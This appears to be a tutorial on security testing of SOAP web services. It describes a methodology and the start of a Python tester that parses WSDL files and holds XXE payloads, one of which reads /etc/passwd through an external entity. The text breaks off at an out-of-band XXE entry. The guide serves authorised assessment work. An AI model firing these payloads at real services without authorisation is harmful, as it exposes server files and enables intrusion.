Performing SOAP Web Service Security Testing

Overview

SOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured.

When to Use

• When conducting security assessments that involve performing soap web service security testing
• When following incident response procedures for related security events
• When performing scheduled security testing or auditing activities
• When validating security controls through hands-on testing

Prerequisites

• Target SOAP web service endpoint URL
• WSDL file or URL access for the service
• SoapUI or ReadyAPI for structured testing
• Burp Suite with SOAP extensions for interception
• Python 3.8+ with zeep and lxml libraries
• Authorization to perform security testing

Testing Methodology

Phase 1: WSDL Reconnaissance

#!/usr/bin/env python3
"""SOAP Web Service Security Testing Tool

Analyzes WSDL definitions and tests SOAP endpoints for
common vulnerabilities including XXE, injection, and
WS-Security misconfigurations.
"""

import requests
import xml.etree.ElementTree as ET
from lxml import etree
import sys
import re
from typing import List, Dict, Optional
from dataclasses import dataclass

@dataclass
class SOAPOperation:
    name: str
    action: str
    input_message: str
    output_message: str
    parameters: List[Dict]

class SOAPSecurityTester:
    NAMESPACES = {
        'wsdl': 'http://schemas.xmlsoap.org/wsdl/',
        'soap': 'http://schemas.xmlsoap.org/wsdl/soap/',
        'soap12': 'http://schemas.xmlsoap.org/wsdl/soap12/',
        'xsd': 'http://www.w3.org/2001/XMLSchema',
        'wsse': 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd',
    }

    def __init__(self, wsdl_url: str, endpoint_url: Optional[str] = None):
        self.wsdl_url = wsdl_url
        self.endpoint_url = endpoint_url
        self.operations: List[SOAPOperation] = []
        self.findings: List[dict] = []

    def parse_wsdl(self) -> List[SOAPOperation]:
        """Parse WSDL to extract available operations and parameters."""
        response = requests.get(self.wsdl_url, timeout=30)
        root = etree.fromstring(response.content)

        # Extract endpoint URL if not provided
        if not self.endpoint_url:
            address = root.find('.//soap:address', self.NAMESPACES)
            if address is not None:
                self.endpoint_url = address.get('location')

        # Extract operations
        for binding_op in root.findall('.//wsdl:binding/wsdl:operation', self.NAMESPACES):
            name = binding_op.get('name')
            soap_op = binding_op.find('soap:operation', self.NAMESPACES)
            action = soap_op.get('soapAction', '') if soap_op is not None else ''

            operation = SOAPOperation(
                name=name,
                action=action,
                input_message="",
                output_message="",
                parameters=[]
            )
            self.operations.append(operation)

        print(f"[+] Found {len(self.operations)} SOAP operations")
        for op in self.operations:
            print(f"    - {op.name} (SOAPAction: {op.action})")

        return self.operations

    def test_xxe_vulnerability(self, operation: SOAPOperation) -> dict:
        """Test for XML External Entity (XXE) injection."""
        xxe_payloads = [
            # Classic XXE - File read
            {
                "name": "Classic XXE (file read)",
                "payload": '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <{operation}>&xxe;</{operation}>
  </soapenv:Body>
</soapenv:Envelope>'''.format(operation=operation.name)
            },
            # Blind XXE - Out-of-band
            {
                "name": "Blind XXE (OOB)",

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